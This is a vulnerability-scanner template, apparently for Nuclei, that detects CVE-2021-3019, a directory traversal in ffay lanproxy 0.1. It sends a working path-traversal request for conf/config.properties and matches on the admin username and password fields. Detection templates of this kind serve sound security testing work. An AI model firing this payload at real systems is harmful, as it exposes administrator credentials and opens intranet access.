id: CVE-2021-3019

info:
  name: ffay lanproxy Directory Traversal
  author: pikpikcu
  severity: high
  description: ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.
  reference:
    - https://github.com/ffay/lanproxy/commits/master
    - https://github.com/maybe-why-not/lanproxy/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3019
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3019
    cwe-id: CWE-22
  tags: cve,cve2021,lanproxy,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/../conf/config.properties"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "application/octet-stream"
        condition: and
        part: header
      - type: word
        words:
          - "config.admin.username"
          - "config.admin.password"
        condition: and
        part: body

# Enhanced by mp on 2022/04/04